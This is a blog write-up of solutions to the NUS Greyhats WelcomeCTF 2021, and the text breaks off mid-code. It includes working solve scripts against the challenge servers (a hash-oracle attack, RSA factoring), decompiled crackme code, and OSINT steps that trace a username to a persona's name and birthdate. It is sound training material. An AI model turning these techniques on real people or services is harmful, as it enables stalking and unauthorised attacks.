NUS Greyhats WelcomeCTF 2021: Writeup

The National University of Singapore (NUS)’ Greyhats organized a WelcomeCTF from 13 to 15 August 2021. Interestingly, this CTF was sponsored by DSTA, who ran the ill-fated CDDC2021 just 2 months ago. This post serves as my writeup collection for the CTF, which is needed in order to claim the prizes (I don’t normally write writeups). My team came in #2 out of 109 teams. DSTA could probably have been a bit more generous.

NUS Greyhats has published their repository of challenges on GitHub here.

Table of Contents

OSINT: Stalking 1

Someone just sent us this random-looking photo. Can you help us find the sender’s username?
Flag format : greyhats{username}
File

Easy enough. Username is present in the Authors metadata of the image. Using Windows with no external tool, right click, properties, details.

Flag: greyhats{situpright899}

OSINT: Stalking 2

Now that we know the sender’s username. Can you help us to find the person’s name and birthdate?
People usually release this information on their social media accounts.
Flag Format : greyhats{dd/mm/yyyy_FirstName_LastName}

Typical Sherlock challenge. Using Sherlock:

reignofcomputer@Cosmos:~/sherlock/sherlock$ python3 sherlock.py situpright899
[*] Checking username situpright899 on:
[+] ICQ: https://icq.im/situpright899
[+] Quora: https://www.quora.com/profile/situpright899
[+] SparkPeople: https://www.sparkpeople.com/mypage.asp?id=situpright899
[+] TikTok: https://tiktok.com/@situpright899
[+] nairaland.com: https://www.nairaland.com/situpright899

Visiting the profile on TikTok shows off the name and birthdate.

Flag: greyhats{28/07/1995_Lawser_Lok}

OSINT: Stalking 3

The person’s blog site that is shown on tiktok doesn’t seem to load. Is the DNS working correctly?

The TikTok profile also shows off a website, sitdownnow.tk. A simple DNS check shows a TXT record with the flag.

Flag: greyhats{7h15_1Nf0Rm4T10n_1s_4vA1l4bl3_T0_Th3_PuBlic}

Cryptography: Pasta

Found this message beside my pasta in rome. Wonder what it means…
terlungf{J3YP0Z3_G0_PELCG0TE4CUL}

Obvious rot13 cipher. Just use dcode.fr to unscramble.

Flag: greyhats{W3LC0M3_T0_CRYPT0GR4PHY}

Cryptography: Fries

Sometimes we call it chips too!
File

Solved by deces0. His writeup as follows:

Character Frequency Analysis.

  • Flag is SHA512-hashed
  • Then XOR encrypted
  • OTP key passed through substitution cipher
  • Vulnerable to frequency analysis, given large word lists
  • Use https://www.guballa.de/substitution-solver
  • Alternatively, count characters with Python Counter and reference known frequency rankings for English characters

Flag: greyhats{M@yb3_y0u_c@n_7rY_5paN15h}

Cryptography: Burger

Have you ever tried eating burger in blocks?
nc challs1.nusgreyhats.org 5210

Length Extension Attack. Hash function leaks flag character by character, but at 56 bytes, that’s quite annoying.

from pwn import *
import hashlib
context.log_level = 'DEBUG'

FLAG_LEN = 56 # 3 blocks, 8 extra chars

r = remote('challs1.nusgreyhats.org', 5210)

def query(v):
    r.recvuntil('Please input your text in hexadecimal :\n')
    r.sendline(v)
    r.recvuntil('Here\'s the hashed value :\n')
    return r.recvuntil('\n')[:-1].decode()

known = b''
for i in range(4):
    for j in range(16):
        block = query((i * 16 + 8 + j + 1) * b'A'.hex())
        print(block)
        if j == 15:
            block = block[-32 * (i + 2):-32 * (i + 1)]
        else:
            block = block[-32 * (i + 1):len(block) - 32 * i]
        print(block)
        print()

        # Test for which char was it
        for ch in range(256):
            sha512 = hashlib.sha512()
            supposed = (ch.to_bytes(1, 'big') + known)[:16]
            supposed += b'\x00' * (16 - len(supposed[:16]))
            print(supposed)
            sha512.update(supposed)
            check = sha512.hexdigest()[:32]
            print(ch, check)
            if block == check:
                known = ch.to_bytes(1, 'big') + known
                print(known)
                break
        else:
            raise Exception('Not found...??')

Flag: greyhats{B3lanJa_m3_Burg3R_1f_y0u_3njoyed_7he_Ch@ll3n93}

Cryptography: Phish

Fish is delicious.. What about Phish?
File

Solved by deces0. His writeup as follows:

Euler’s Totient, RSA. See https://math.stackexchange.com/questions/2916269/given-varphi-n-and-n-for-large-values-can-we-know-prime-factors-of-n.

Let a be coprime to n. Since φ is even, a ^ φ = 1 MOD n implies (a ^ (φ / 2) - 1)(a ^ (φ / 2) + 1) = 0 MOD n. Then we can factor recursively.

Sage

# https://sagecell.sagemath.org/?z=eJyNVE1v2kAQvSPxH0YgVLt1aHAPraLQU5uqp-YQKRIIosU7wCr2rrW7Lkn75zvjj7BGpK0lEIxn3rx58zG-UVqCgK3IvLGQwjVI-hQJFJCZojROeRwOJG5hS54P7BcVSblX8dVwAPSM7y25AFlgDunawltwzZulTdyKjEt6l1yuGuNhr3KM7CSdzy87iJ7zYhHZ92mcuHezNmT8xUClvcrhgDWLM3xD8FmIO_6GGq0ghgKs0NIUgDkWqH0dLI7B_AhisFhMG8eH1jH6kBRxgPh9WxMxFTOxCHmVPT6D36M-ElOudZDKYubz52O8pBy7TEaih6q20awrJuTPj0VfWQ3yaA3Y3NkAe9xLsP6drhX3I76YAXU0LGJLJC_heg6KMrrjiw0Fl-aA9qEwzNH2WHKUAqVZyh1G7pRpl3pzMevF_avC81V2fKLNOo1hwo0aDs40VFfFBi0Ix00AL-wO_XCgz_YyXc_Sjwl_f4pruHusm6i0R4vOo-TyGMdICZlwmIAzXVtN5QF_UqNLqwok2ZqJ071xbhJHmqa4znBHYDvFUd54RSSGg2ZbsMpJZ_od6cbz1hINSkIi67JiPzZEo6XmjavXYyKTiVzFI5Ijqq1xG4paKr2DXDlC2LaakCIdd-Jq7CNDaNqr8Q1V84hYcgxX2xTUDu1wwDHsu6rBwwXEp72oKAcH1YicsRMiRx2xMf78ogb1q3HW-ORfdi-gxU4F5eK4aWnKqJ0b3jORWxTyuWGXgDZ-z4Qxd8gQ0iQgqE0t2rI9GDRpxVS5hzoqisNhY7epKEtSK-oGlNHCi_GD2NqDcqfHZtY_Nt28n97Fs1t601yLFkr9El4ZXZddvKENDYa-aKaneC_Ddb2t_LFNLYrjSW3qBhry-j2PMJtZTDKTMJmhzumKQ02GzpF-vasjX1HqVK2Qzoli_NTdO-P6l1681o__yFCE-8J1ty1qZrEGdcZ6HqV2hTrJ5jBxvDz8P-5BjDJj-VaTlo7u3-gl9OtTSWaUV0GosbSz8R_LUfYs&lang=sage
# Find a factor 2 < d < m, m composite
def find_fact(m, phi):
    #Write phi = 2^r * s
    [r,s] = [phi,0]
    while(r%2==0):
        [r,s] = [ZZ(r/2),s+1]
    #Do until we find a factor 2 < d < m
    while(1):
        #Generate a random element 2 < a < m
        a = ZZ.random_element(3,m)
        #If we found are lucky then a factor is found directly
        d = gcd(a,m)
        if(1 < d < m):
            return d

        #Try
        #    d = gcd(a^{2^i * s)-1 , m)
        #for 0 <= i < s
        b = power_mod(a,r,m)
        for i in range(s):
            d = gcd(b-1,m)
            if(1 < d < m):
                return d
            b = (b^2) % m

def factorize(n, phi):
    work = [n]
    fact = []
    while work:
        m = work.pop()
        if m.is_prime():
            fact.append(m)
        else:
            d = find_fact(m, phi)
            m = ZZ(m / d)
            print(d, d.is_prime())
            if d.is_prime():
                fact.append(d)
            else:
                work.append(d)
            if m.is_prime():
                fact.append(m)
            else:
                work.append(m)
    return fact

n = 226367641780098164857743655929965858736843872146056513466985344324781318414018940078568533249891467484651910579010709586433269635940448575084361332467419176389961997412037642722681298982441076237440768795498215861720843908355336416571692282766755785293599843087462077692173698303328897418335893239652642404877713617626286475352187318530848923766916610377154093697419024457112188402278019000457218417711800515061225094301872663953061356612577001635892902798885844016745817587242320888892516514112766587816263512231604102819566028421996030540160724944185363805340093226309915917890076466648045713211125296361636326699318879760525925120781339573429099982562565850047034303634889695075810120864083069433627419931132081546052260160992594502739335908321165005132165788010960693115371129104401683593140317864676433039820098499573929420914349149011204307707684813047928143718934701186783172354739047087089653011250691705668400906518300288716698008573618820538949319827379709426219444085123544575277390124241263976612170243852187146312149956339422302642978298717742683442243994086760271986968151000984046670081087051508888876329674445731363749188945494597220650437103938097122706590550689507278545566261538576306107750755847869930267832197664207254439455552941287870293560786037356772032697574005610601029012205746476396951490611935762633441216556270521283579367643529678284002927018375791742757094253170526818857889001865337267650054459131896608784729375111404471513697040149041304913083194357080459173635865720947996669367036749114194415351910067619716616747114824169909878508947262456922070320013161393052519706633057432973572558872118693523452553868961768141678174260766328546982687864320866410853366090543539560226567828213190379220345945297137318757336673770725121582856181825711915369597267095374156523820500442287127260504413510754688292995209348073391135256291944081817213477304240094664130453017091248745085295378266797277114731895560031282216676821435400657999187921565510975925608447042251488858763027579278407029873504189304631484773883601347202784304171456354998917618562240218438905431645059074051013560840905311206432827067791596539369713257159318605580016622493303415111877060896772238036008557079197250448589107856262487651622237670304227418730393545931393421041311598075305949698049877835643961366062606129279267046405767115270817981320949962502739125993394533052940763640188480892681465288237626132560403665457027675313042437584173127174451196422461050233
phi = 226367641780098164857743655929965858736843872146056513466985344324781318414018940078568533249891467484651910579010709586433269635940448575084361332467419176389961997412037642722681298982441076237440768795498215861720843908355336416571692282766755785293599843087462077692173698303328897418335893239652642404877713617626286475352187318530848923766916610377154093697419024457112188402278019000457218417711800515061225094301872663953061356612577001635892902798885844016745817587242320888892516514112766587816263512231604102819566028421996030540160724944185363805340093226309915917890076466648045713211125296361636326699276628849978228259052432745813124516825933761584664225956502209290232862930991455691535535662407524691933854060576840956123726140668250566863121529848576757596142264997443885958332569067179930507553086810092560712047507519939794263425285517385348833009978099289642500092815986375875465268797008318536909015323959079926953416577690579187901655929291577620656657733803151732678586223280818801198728641385882915909140742593042677040139772074962099036227962765476242530370241206463825104548915858541036479688866364148849584502336736672249235372167430238536808014253349943884054149352303955971339688378595780136852013842994365701727377739544259335657358682759342363255303891714525445919262855136397321469623124128080683407563363598478418253391952750792218726298366319232865858358372740809276044178066836336480846672368396859416384739912472654956069612801331244691089431419299098067540644827418477904247727204108001768571154722031707182124385507596093274178206420029757913604868356037442281254695048104809498907979980745275850221765232926166588389432627602661993813294215458411660356001919729709462279503175478846228578258017261183715530022966644029254346798478548144403902989776367541941179357745682746923244903985796033420400047176940563498122846608886613281009657746038685459314380742999972388810089882975529298322211075963383053584863752175933465338692756893971531768685251659484577238501820774709803669075081813619682123853865840588251064415562951905585016707916265213385210163449104288091387047033299802466438141973655251205179986945651406717009015285500407784554816286247007625386597755563248530082608766182421478870357317510114964869402179470031555015656155051510842008454548535851611925438225845973427789089306605070666936162692694985409085736946929053847053154356714803427811969154686778145925680957583199099474057574851500263400587671014862711440
print(factorize(n, phi))

Cleanup

import random
from gmpy2 import next_prime
from Crypto.Util.number import getPrime, long_to_bytes, GCD

# See phish.sage
primes = [17539038835272480236744038371885296119570055295745352280943329419073849865267413825654498830802044472088913020936269926715111499800537843105939617405912171667566692422977503036218764056382388887952403795869969244436582624782850539791330328075887586867218154286309350361467956805099564830278611786210702892666358536675573867532410424546622089321622203540538384221861991594230077786572253686251949481613910986866195680723999311061579137920657783207779308293521066154635515762962133279595950637351808819666831618258333125708998905870372173946467978133748696813287303310935903943448334764243868449929426223228845669980939, 29187085938980901009732505441569839453461872395170285750931642203265479500655307025392259135428239084442532699505508381699221189469106465440586714838360364024953375621513711993125083805086015164168490970560187508970019329503714769830626299724279535292111111472730650231860242370463349544816603954141921750760755437634519408987299433111564315483250468233682128476597160727238401622648515844331746232329146483784105486967137500319487172931677847366158856151716486153771899015641806842594047189279513697044584206774992766283515680749500608666641010099981206258454312996087092292019415499653324106384995824037590188905631, 22645270720314666569215404091017321035326491841903914685102698712283996611697459735158036897737238296127995440231471965980455303355563285202573914865699315895570575994886373559942791633629612875002808664485431445654605081570411633660763592291709782625537653386640214919518179065781909748184148314919926283806097851834712908879653999015624250326476757341800119223223855117226345797469217785972154441870875069388830989168924426396472076037222952656843397356611399603206533574676882280678325305326990311203539285932008811001251394801558456474927791040354351816708259092850729637567396642232027277273922139537559253318799, 19527214775720896462476965794711604517750988768281650247792619825562126123951712823085765701557722708490088618719588295393583440271555032679022392844792642513849803716820220523157416238896020115140325433124480341442174127218931772690897807950568153984377912393304644595838225866349775919826852630315774254650654633239583733179916945610565930430378386926247583060354826599951103753619833863524212474375825504353760818337512707410154790564472470988342680301924734068544126807578153793440817033379418733732693154229552085175842208422353953010618285111552570740759501932982718024429611703983553310710911111949289835060763]

'''
# From output.txt
N = 309851982994001437593542832261718235128894151552527860198891106765154365891272996974637273054039026080036463606291440184800957265362522488489625793129272549771592092493334873311568431804369750388557996623701615168572586863140022784381768934511495446031089674091171502227546272493083149988026055415791547652723226501737918564965659444045787224659699684514717996125411139134199811806940811033563869108370049552967949366080122331122917763262379635270009607722644564098046718964858771681240442661419668875201892052435144802231666517243921695175037373141847519550645089727769498823270003084300876928998071023999213733093187083134616963526812032051410822076826326845804269221735745970190453818873519918380870169542875317212096417337822497643270990865876732281746251940206365066720758687175105627721894142013282523054920091029763583033427813514152794222309061289593435604454904537043734720459738002624901485752376139691545103639215628826651224799575433515160529289127145612306956214436045138021138679426261362123182778960479569590031416176986393732458480261188123611787483014826836556570549683508087462280163009553585159077330166968748444265097676454663904319611127558492052988456448785320369571237712145975508525681250821306427200698849587
for prime in primes:
    random.seed(prime)
    p = next_prime(random.randint(1 << 2047, 1 << 2048))
    q = next_prime(random.randint(1 << 2047, 1 << 2048))
    if N == p * q:
        return(prime)
'''
random.seed(primes[0])

c = 35991518667159517310847012005223670555948663002088853435485852967280746328959837478210327523176569442913404437002631784073559478228663651434657034581081672787470130127826029252489216229822528395810231619009948992070085954915846541385304865917921350871057043436886931022253334954589310101228242178080686273093219282645746057625571505995213098455427668410098030334704131377734399517813270076611701407734025277905243006648602307014457926186779707586258034821858729240127305835083654029433272048829748773171256850106995003774255573149230165402096174779642940937902235902791732053698741953862662234022560167831793428572322605855577145131844647989092678529245664276044628886958600269053185728670050872671287081288682267134933380293912032068925423201390929121043390028190302479758932232803607916126530381852817324484953374944818755451080292838574408937370910910728758994274166649981344891737003222866101338542887095260171097861899557242085794872416682731140065316317348904550129163657542359247240173113844455826269068183909400529029569080056269887980403205070430041650497672250350063445842143845137360940049053787134342409091480508401678920971933019355487594501350046866838905576961019622775777317809251320403046577987759838113218791840077
p = next_prime(random.randint(1 << 2047, 1 << 2048))
q = next_prime(random.randint(1 << 2047, 1 << 2048))
N = p * q
l = (p - 1) * (q - 1) // GCD(p - 1, q - 1)
d = pow(0x10001, -1, l)
m = pow(c, d, N)

print(long_to_bytes(m))

Flag: greyhats{F@ct0r1n9_w1th_ph1}

Cryptography: Potato

Only the best potatoes make it into our CTF!
File

Solved by deces0. His writeup as follows:

Finite Field Arithmetic. See https://en.wikipedia.org/wiki/Finite_field_arithmetic#Multiplicative_inverse.

Let k be an integer such that ak = 1 MOD (2 ^ n - 1). Then g = g ^ (ak) = A ^ k can be recovered. Useful for coding theory.

from Crypto.Util.number import long_to_bytes
n = 272
# mod = x^272 + x^9 + x^3 + x^2 + 1
a = 5233720648910518692940289829476216124984566337079630012988557537598391233215850077
coeff = [0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1]

F = GF(2 ^ n, 'x')
A = F(coeff)
g = A ^ inverse_mod(a, 2 ^ n - 1)
bits_rev = reversed(g.polynomial().list())
long = sum(2 ^ i for i, x in enumerate(bits_rev) if x)
print(long_to_bytes(long))

Flag: greyhats{P0lyn0M1al5_Ar3_SuP3RI0R}

Unsolved Cryptography Challenges

  1. Hashbrown
  2. 4bites

Reverse Engineering: Gates

Use the correct keys to enter the cool castle I copied from codepen.
http://challs1.welcomectf.tk:5300/

I solved this through a lot of bruteforce, just by reading the JS and stepping through. Each gate’s key is pretty small and the length is made known, so it’s pretty easy to just use the browser’s dev tools and call the functions repeatedly until you get the correct answer for each gate, then combine them together.

Flag: greyhats{1ts_c0m1ng_t0_r0m3}

Reverse Engineering: Doors

Find the keys to unlock all doors. Python is easier to write but is it also easier to read?
nc challs1.welcomectf.tk 5301
File

Solved by deces0. His writeup as follows:

door1 and door2 are simple and invertible functions.

Just brute force door3 (10 ^ 7) and door4 (10 ^ 6).

Flag: greyhats{0p3n_th3m_w17h_c0d3}

Reverse Engineering: K.R.A.N.E

Keep Reversing and Nobody Explodes
Bomb defusing, but there’s no manual…? Can you still do it?
challs1.nusgreyhats.org:5302

My favorite challenge in the entire CTF, because it’s modelled after Keep Talking and Nobody Explodes. Great game.

The idea behind this challenge is wasm decompilation to figure out the requirements for each module within the bomb, but given the generation of the bomb is done in raw JS and not called from the wasm, it’s easy enough to remove the unknowns from the challenge by simply overriding the setup() function in the JS with the same values each run for the bomb’s components (wires and serial). You can even remove the randomness element from how many wires will spawn.

The biggest problem is finding a nice RNG for the serial and button, so I had overridden the setup() function to print the random serial to console, then tried a few times to get one that lets me push the button fast (eventually finding one that worked 3 seconds into the countdown).

Finally, having hardcoded the serial, one can just refresh the page multiple times and figure out which of the 3 wires to cut, and what sequence the 4 alphabets need to be pressed true raw bruteforce. Unintended way of solving, could be avoided by having the wasm been the one to generate the randomness.

Final setup() code was:

// Button at 4:57; 3rd wire; ACDB

function setup() {
    const randomLetter = () => String.fromCharCode(65 + Math.floor(Math.random()*6));
    serial = "FA1755BE";

    wires = [];
    const wireCount = 3;

    for (let i = 0; i < wireCount; i++) {
        wires.push({ cut: false, color: 1 });
    }

    seqBtns = [
        { pressed: false },
        { pressed: false },
        { pressed: false },
        { pressed: false },
    ];

    timeLeft = 300;
    let counter = setInterval(() => {
        if (timeLeft < 0) {
            clearInterval(counter);
            alert("Obviously a bomb detonates when the timer hits 0 right? What else were you expected :P");
            document.location.reload();
            return;
        }
        timeLeft--;
        updateTimer(currentTime());
    }, 1000);
}

Flag: greyhats{Wh0_n33D5_a_p4rTnER}

Reverse Engineering: easycrackme

I think this is easy. Hope you do too. Find the correct key that the program expects.
File

Solved by deces0. His writeup as follows:

Decompile with Ghidra, we have the following (function address not included):

undefined8 CheckAll(void)

{
  long in_FS_OFFSET;
  char key [72];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Tell me the key: ");
  fgets(key,0x40,stdin);
  Check1(key);
  Check2(key);
  Check3(key);
  Check4(key);
  Check5(key);
  Check6(key);
  puts("*** Passed all checks *** ");
  puts("*** Submit the key as the flag *** ");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Check for length:

void Check1(char *key)

{
  size_t length;

  puts("=== Check 1 ===");
  length = strlen(key);
  if (key[length- 1] == '\n') {
    key[length- 1] = '\0';
  }

// Decreases if last character is \n
  length = strlen(key);
  if (length != 38) {
    puts("-- Failed check");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  return;
}

Check for prefix:

void Check2(char *key)

{
  int is_zero_if_equal;

  puts("=== Check 2 ===");
  is_zero_if_equal = strncmp(key,"greyhats{",9);
  if (is_zero_if_equal != 0) {
    puts("-- Failed check");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  return;
}

Check for last character:

void Check3(char *key)

{
  size_t length;

  puts("=== Check 3 ===");
  length = strlen(key);
  if (key[length - 1] != '}') {
    puts("-- Failed check");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  return;
}

Check for characters before underscore

  • Brute force combinations of fst and snd to see if they yield characters from olympics
  • Multiple combinations exist that pass all checks. For some reason, fst must be '2' and snd must be capitalized.
void Check4(char *key)

{
  int is_zero_if_equal;
  char *buf;
  long pos_underscore;
  char fst;
  byte snd;
  ulong i;

  puts("=== Check 4 ===");
  buf = strchr(key,L'_');
  pos_underscore = (long)buf - (long)key;
  buf = (char *)malloc((pos_underscore - 9U >> 1) + 1);
  for (i = 0; i < pos_underscore - 9U >> 1; i = i + 1) {
    fst = key[i * 2 + 9];
    if ((fst < '0') || ('9' < fst)) {
      if (('`' < fst) && (fst < 'g')) {
        fst = fst + -0x57;
      }
    }
    else {
      fst = fst + -0x30;
    }
    snd = key[i * 2 + 10];
    if (((char)snd < '0') || ('9' < (char)snd)) {
      if (('`' < (char)snd) && ((char)snd < 'g')) {
        snd = snd + 0xa9;
      }
    }
    else {
      snd = snd - 0x30;
    }
    buf[i] = (byte)((int)fst << 4) | snd;
  }
  buf[pos_underscore - 9U >> 1] = '\0';
  is_zero_if_equal = strcmp(buf,"olympics");
  if (is_zero_if_equal != 0) {
    puts("-- Failed check");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  free(buf);
  return;
}

Check for the two characters between first and second underscores. Just brute force it if you don’t bother to read the code.

void Check5(char *key)

{
  int is_zero_if_equal;
  char *pos_fst_underscore;
  char *buf;
  long pos_snd_underscore;
  byte ch;
  ulong i;

  puts("=== Check 5 ===");
  pos_fst_underscore = strchr(key,0x5f);
  pos_fst_underscore = pos_fst_underscore + (1 - (long)key);
  buf = strchr(key + (long)pos_fst_underscore,0x5f);
  pos_snd_underscore = (long)buf - (long)key;
  buf = (char *)malloc((pos_snd_underscore - (long)pos_fst_underscore) + 1);
  for (i = 0; i < (ulong)(pos_snd_underscore - (long)pos_fst_underscore); i = i + 1) {
    if ((i & 1) == 0) {
      ch = 0x20;
    }
    else {
      ch = 0x21;
    }
    buf[i] = ch ^ key[(long)(pos_fst_underscore + i)];
  }
  buf[(pos_snd_underscore - (long)pos_fst_underscore) * 2] = '\0';
  is_zero_if_equal = strcmp(buf,"in");
  if (is_zero_if_equal != 0) {
    puts("-- Failed check");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  free(buf);
  return;
}

Check for final characters after second underscore:

void Check6(char *key)

{
  uint uVar1;
  int iVar2;
  char *pos_aft_snd_underscore;
  char *ptr_curly_bracket_end;
  long pos_curly_bracket_end;
  undefined8 *puVar3;
  undefined8 *puVar4;
  long in_FS_OFFSET;
  byte bVar5;
  ulong local_198;
  long local_190;
  ulong local_188;
  long local_180;
  undefined8 local_158 [41];
  long local_10;

  bVar5 = 0;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("=== Check 6 ===");
  pos_aft_snd_underscore = strchr(key,L'_');
  pos_aft_snd_underscore = strchr(pos_aft_snd_underscore + 1,L'_');
  pos_aft_snd_underscore = pos_aft_snd_underscore + (1 - (long)key);
  ptr_curly_bracket_end = strchr(key + (long)pos_aft_snd_underscore,L'}');
  pos_curly_bracket_end = (long)ptr_curly_bracket_end - (long)key;
  if (((int)pos_curly_bracket_end - (int)pos_aft_snd_underscore & 3U) != 0) {
    puts("-- Failed check");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  local_198 = ((ulong)(pos_curly_bracket_end - (long)pos_aft_snd_underscore) >> 2) * 3;
  local_190 = pos_curly_bracket_end - (long)pos_aft_snd_underscore;
  while ((local_190 != 0 && (key[(long)(pos_aft_snd_underscore + local_190 + -1)] == '='))) {
    local_198 = local_198 - 1;
    local_190 = local_190 + -1;
  }
  ptr_curly_bracket_end = (char *)malloc(local_198 + 1);
  puVar3 = &DAT_001020c0;
  puVar4 = local_158;
  for (pos_curly_bracket_end = 0x28; pos_curly_bracket_end != 0;
      pos_curly_bracket_end = pos_curly_bracket_end + -1) {
    *puVar4 = *puVar3;
    puVar3 = puVar3 + (ulong)bVar5 * -2 + 1;
    puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
  }
  local_180 = 0;
  for (local_188 = 0; local_188 < local_198; local_188 = local_188 + 4) {
    uVar1 = *(uint *)((long)local_158 +
                     (long)(key[(long)(pos_aft_snd_underscore + local_188 + 1)] + -0x2b) * 4) |
            *(int *)((long)local_158 +
                    (long)(key[(long)(pos_aft_snd_underscore + local_188)] + -0x2b) * 4) << 6;
    if (key[(long)(pos_aft_snd_underscore + local_188 + 2)] == '=') {
      uVar1 = uVar1 << 6;
    }
    else {
      uVar1 = *(uint *)((long)local_158 +
                       (long)(key[(long)(pos_aft_snd_underscore + local_188 + 2)] + -0x2b) * 4) |
              uVar1 << 6;
    }
    if (key[(long)(pos_aft_snd_underscore + local_188 + 3)] == '=') {
      uVar1 = uVar1 << 6;
    }
    else {
      uVar1 = *(uint *)((long)local_158 +
                       (long)(key[(long)(pos_aft_snd_underscore + local_188 + 3)] + -0x2b) * 4) |
              uVar1 << 6;
    }
    ptr_curly_bracket_end[local_180] = (char)(uVar1 >> 0x10);
    if (key[(long)(pos_aft_snd_underscore + local_188 + 2)] != '=') {
      ptr_curly_bracket_end[local_180 + 1] = (char)(uVar1 >> 8);
    }
    if (key[(long)(pos_aft_snd_underscore + local_188 + 3)] != '=') {
      ptr_curly_bracket_end[local_180 + 2] = (char)uVar1;
    }
    local_180 = local_180 + 3;
  }
  iVar2 = strcmp(ptr_curly_bracket_end,"tokyo");
  if (iVar2 == 0) {
    free(ptr_curly_bracket_end);
    if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
      return;
    }
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  puts("-- Failed check");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

Rewrite the code

  • Dump data from .data
  • Type cast to long long
  • Split every 3 bytes into 4 blocks of 6 bits
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void Check6(char* excerpt) {
    char _dat[320] = {
        0x3e, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
        0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
        0x3f, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00,
        0x35, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00,
        0x37, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00,
        0x39, 0x00, 0x00, 0x00, 0x3a, 0x00, 0x00, 0x00,
        0x3b, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00,
        0x3d, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
        0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
        0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
        0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
                0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
                0x04, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
                0x06, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
                0x08, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
                0x0a, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00,
                0x0c, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00,
                0x0e, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00,
                0x10, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00,
                0x12, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00,
                0x14, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00,
                0x16, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00,
                0x18, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0x1a, 0x00, 0x00, 0x00, 0x1b, 0x00, 0x00, 0x00,
                0x1c, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00,
                0x1e, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00,
                0x20, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00,
                0x22, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00,
                0x24, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00,
                0x26, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00,
                0x28, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00,
                0x2a, 0x00, 0x00, 0x00, 0x2b, 0x00, 0x00, 0x00,
                0x2c, 0x00, 0x00, 0x00, 0x2d, 0x00, 0x00, 0x00,
                0x2e, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00,
                0x30, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00,
                0x32, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00
        };
    long long* data = (long long*) _dat;
    long len = strchr(excerpt, '}') - excerpt;
